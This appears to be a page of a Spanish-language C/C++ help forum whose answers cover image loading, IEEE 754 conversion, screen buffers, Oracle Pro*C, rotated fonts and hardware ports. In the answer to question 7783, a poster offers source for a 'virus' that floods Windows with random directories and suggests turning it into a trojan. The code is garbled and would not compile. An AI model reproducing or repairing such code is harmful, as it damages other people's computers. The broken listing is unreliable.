PREGUNTAS CONTESTADAS -

 Hay un total de 745 Preguntas.<<  >> 

    Pregunta:  7470 - COMO INSERTAR UNA IMAGEN BMP EN C
Autor:  Maricel Rodriguez
Deseo saber como se puede incorporar visualmente una imagen BMP en un programa en c
  Respuesta:  José Luis De la Cruz
Hola

Acabo de contestar una pregunta parecida a la tuya ( ver mensaje 8491 ), donde adjunto una rutina para cargar un BMP con C++.

Un Saludo.
  Respuesta:  Jose Alfredo López Luis
Hola...
Para que puedas abrir una imagen bmp, gif, pcx en C necesitas saber como esta estructurada la cabecera de este formato, es decir, que para leer este archivo lo haces por bloques (registros), asi que debes conocer la estructura...
Si deseas te puedo enviar algunos de los codigos que tengo para visualizar esta imagenes en C....Mandame un email donde anotes tu direccion de correo y puedad enviarte el/los codigos

    Pregunta:  7541 - CONVERTIR FLOAT DEL FORMATO DEC AL FORMATO STANDARD DE IEEE
Autor:  Laura
Tengo un problemilla con un programa en Visual C++.
Necesito convertir un float (o double) del formato DEC (Single Precision Floating point Format), al formato standard (IEEE) pq sino voy a tener problemas con el compilador.
Conoces alguna funcion q haga este tipo de conversion,pero sin cambiar el tipo de variable.
O sino me puedes dar un pista de como lo podria resolver (esq desplazando los bits es un lio q no veas...)
  Respuesta:  Gustavo
El formato IEEE 754, que creo es el que vos nocesitas; para single precision utiliza 32 bits, el bit mas significativo es de signo,
despues 8 bits para codificar el exponente, y los ultimos 23 bits para la mantisa.
La formula que se utiliza para obtener el numero flotante es (-1)**s * (1+mantiza)*2**(exp - 127.)

En este sitio podes encontrar la informacion necesaria.
http://www.public.iastate.edu/~selavi/guide/ieee754/ie3.html

Si te sirve de algo este codigo que lo hice con un amigo para un trabajo, convierte de float a formato IEEE (Hexadecimal),
pero lo devuelve en un string.
Espero esto te sirva de algo.

#include <iostream.h>
#include <conio.h>
#include <math.h>
#include <string.h>

void float2ieee754_32(float valor, char hexa[10]);

void main (void) {
char hexa[10];
float f=0;
while (f!=(-1))
{
cin >> f;
float2ieee754_32(f,hexa);
cout << "\nvalor: " << hexa;
}
};/

void float2ieee754_32(float valor, char hexa[10])
{
int frontera=127;
int bits[32];

bits[0]=(valor < 0);

int e=0;
float temp=fabs(valor);

while (temp < 1)
{
temp=temp * 2;
e--;
};

while (temp > 2)
{
temp=temp / 2;
e++;
};

e=frontera+e;

bits[1]=(128 & e)==128;
bits[2]=(64 & e)==64;
bits[3]=(32 & e)==32;
bits[4]=(16 & e)==16;
bits[5]=(8 & e)==8;
bits[6]=(4 & e)==4;
bits[7]=(2 & e)==2;
bits[8]=(1 & e)==1;

temp=temp - 1;
float k=0.5;
int ok;

for (int i=9; i < 32; i++)
{
ok=0;
if (k <= temp)
{
temp=temp-k;
ok=1;
}
k=k/2;
bits[i]=ok;
};

int j=0;
int xxx=0;
char hexatable[16]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};

strcpy(hexa,"0");

for (i=0; i < 32;i++, j++)
{
if (!(3-j == 0 && bits[i]==0))
xxx=xxx + pow(2*bits[i],3-j);

if (j == 3)
{
char xx[2];
xx[0]=hexatable[xxx];
xx[1]=0;
strcat(hexa,xx);
xxx=0;
j=(-1);
}
};

strcat(hexa,"h");
};

Gustavo

    Pregunta:  7580 - COPIAR UN AREA DE LA PANTALLA EN VARIABLE TEMPORAL.
Autor:  Jorge Alberto B. Gonzalez
Quisiera saber si me pueden ayudar con lo siguiente...
Quiero hacer qui mis aplicaciones en C tengan menus desplegables, pero antes de desplegarlo guardar lo que esta en un area de la pantalla donde sera mostrado el menu, para luego volver a restaurar esa area de video como estaba originalmente, o sea antes de mostrar el menu.

Estoy utilizando Borland C++ version 3.0.

De antemano, gracias.
  Respuesta:  Nohé Ramón Cázarez Castro
Yo uso el CutRectanble() de graphics.h, en la ayuda de C++ 3.0 puedes encontrar como funciona cuales son sus parámetros y como puedes restaurar después la imagen que cortaste.

Exito!!!!
  Respuesta:  hector manuel becerra gonzalez
Si estas trabajando en aplicaciones en modo texto, puedes utilizar la funcion gettext para copiar cierta area de la pantalla y se guarda en un arreglo de caracteres, para reestablecer la pantalla unicamente utilizas la funcion puttext con las dimensiones originales con que fue copiado, si tienes alguna duda puedes consultar estas funciones en la ayuda de C.

    Pregunta:  7660 - C O C++ / ORACLE BAJO LINUX-UNIX
Autor:  Ana Rodriguez
Necesito saber cómo podría acceder desde C o C++ a una base de datos Oracle bajo Linux o Unix, las librerias a utilizar, etc. Gracias.
  Respuesta:  Oscar Medina
Ana, Oracle posee una herramienta poderosa que es el ProC, o sea SQL Embebido, para codificar lo unico que tenes que hacer es llamar en vez de .c .pc el archivo donde esta el codigo fuente.
Para codificar las sentencias SQL directamente agregas EXEC SQL antes de, por ejemplo un select que obviamente debe tener un INTO a una variable C. Ademas podes declarar cursores y hacer copias masivas de datos.
Para compilarlo antes necesitas pasar por un precompilador llamado "proc", recibe muchos parametros, adentro del ORACLE_HOME tenes ejemplos y un archivo .mk que directamente tiene todo lo que necesitas para compilarlo.
Tambien en la documentacion de la base de datos, en la seccion donde describe las herramientas de programacion tenes una muy completa informacion sobre esto. Cualquier pregunta estoy a tu disposicion.

    Pregunta:  7693 - TEXTO INCLINADO EN VISUAL C++
Autor:  Luis
Como puedo escribir un texto inclinado, osea con un angulo de inclinacion en Visual C++
  Respuesta:  Juan Pablo Crossley
Facil... usa esto:

hdc = BeginPaint(hWnd, &ps);
// TODO: Add any drawing code here...
RECT rt;
GetClientRect(hWnd, &rt);
LOGFONT f;
f.lfEscapement = -100; //Angulo de inclinacion
strcpy(f.lfFaceName, "Arial"); // tipo de letra
f.lfHeight = 12;
HFONT font = ::CreateFontIndirect(&f);
SelectObject(hdc, font);
DrawText(hdc, szHello, strlen(szHello), &rt, DT_CENTER);
DeleteObject(font);
EndPaint(hWnd, &ps);

    Pregunta:  7783 - PROTEGER UN CD PARA QUE NO SEA COPIADO
Autor:  Tiquin Lopez
Quiero realizar mi programa hecho en C.

ok una vez hecho quiero hacer un instalador para este programa.

Y quiero un programa que no permita copiar el CD
o que al momento de intentar quemar el CD mio se corra un virus o algo asi, o un juego de risas, el chiste es que no permita quemar mi CD.
  Respuesta:  cesar correa
MIra, te voy a mandar el codigo fuente de un virus hecho en C, que te crea miles de carpetas en Windows es decir directorios, si lo ejecutas!
puedes convertirlo en troyano si quieres!:

#include
#include
#include
#include
void main()
{
int n1, n2;
char
{int n1, n2;
char dir[15], t1[15], t2[15];
randomize();
while (?kbhit()
{n1= random(32768);
n2= random(255);
itoa(n1, t1, 16);
itoa(n2, t2, 16);
strcpy(dir, t1);
strcat(dir, ".«");
starcat(dir, t2);
mkdir(dir);
}
}
}

    Pregunta:  7874 - COMUNICACIóN EN C CON UN PUERTO GP-IB
Autor:  Ismael Fernández Aymerich
Estoy haciendo un proyecto para comunicar el PC y un aparato con un bus IEEE. El caso es que no tengo ni idea de como enviar y recibir datos de la targeta de puerto GP-IB para interpretar y dar ordenes. La comunicación la he de hacer programando en C. Si alguien me puede dar algun ejemplo o alguna pista para lograr comprender el funcionamiento estaría muy agradecido. Bye.
  Respuesta:  Jaime Olivares
No has mencionado con que tarjeta GPIB cuentas.
Las mas usadas en el mercado son las de National Instruments, las cuales vienen con una libreria de programacion, con ejemplos incluidos.
Si tienes otra marca y no cuentas con la libreria, debes contactarte con el proveedor de la misma, ya que cada marca usa una libreria diferente.

    Pregunta:  7965 - OBTENER LOS BYTES POR SEGUNDO EN UN MODEM UTILIZANDO VC++
Autor:  Jose Antonio Lara Caba
Hola a todos.

Vereis, estoy realizando un programa en VC++ 6.0 utilizando MFC y necesito obtener los bytes por segundo que se estan transmitiendo en cada instante por el modem (algo parecido a lo que se muestra en el icono de la conexion a Internet). He utilizado la funcion WaitCommEvent lanzada en una hebra
dentro de un bucle sin fin (o sea haciendo un spooling al puerto del modem) pero no es la solucion optima, lo suyo seria que cada vez que se recibiera o enviase un byte se llamara a una funcion que fuese la encargada de incrementar un contador, pero claro, desde WIN32 no se puede acceder a las INT antiguas de MSDOS para instalar un manejador de interrupciones... Tambien he visto que existen funciones RAS de administracion que realizan dicha tarea pero para NT y 2000, no para Win9x.

Espero que alguien sepa como solucionarlo o ayudarme, llevo varios dias que no se que hacer.

Gracias de antemano.
  Respuesta:  Ramon Sala
Hola Jose Antonio,

Creo que la solución que buscas pasa por por un "thread" independiente que vaya inspeccionando el puerto correspondiente e incrementando un contador. Si estás inresado puedo enviarte alguna información al respecto.

    Pregunta:  8018 - CONTROLAR USB
Autor:  Rodrigo Vicente Gómez
Como puedo controlar el puerto usb, como funciona?
cual es la dirección el la pc.
Agradeceria si me inviaran información sobre este puerto.
  Respuesta:  Pablo Marcomini
Para empezar, podes encontrar excelente informacion en:
http://www.beyondlogic.org

Suerte

    Pregunta:  8075 - DLL PARA JOYSTICK
Autor:  El magelan
Alguien me puede proporcionar una Dll que controle si se ha pulsado el boton \"A\" o el \"B\" del Joystick?

Mi problema es que tengo una aplicacion en VisualBasic que lee las pulsaciones del boton del Joystick y las añade a un contador. Dicha aplicacion funciona constantemente.
Si un usuario pulsa 10 veces el boton A del joystick se suma 10 al contador. Pero si el windows esta cargando una aplicacion IExplorer, Word etc igual solo sube la mitad de las pulsaciones al contador debido a que mi aplicacion se para durante unos instantes.

Me han dicho que si se hace Dll no se perderia las pulsaciones ya que estaria constantemente leyendo el puerto.

Estaria muy agradecido si me pudiese ayudar alguien porque no tengo ni idea de C. Al ser posible que la Dll guarde las pulsaciones en una .MDB.
  Respuesta:  Rommel Medina
Es muy facil hacerlo con DirectX solo tienes que bajar el kit de desarrollo, trae ejemplos de direct input que es lo que necesitas.
Hay Kit para desarrollo de VB y VC

|<  <<  22 23 24 25 26 27 28 29 30 31 32  >>  >|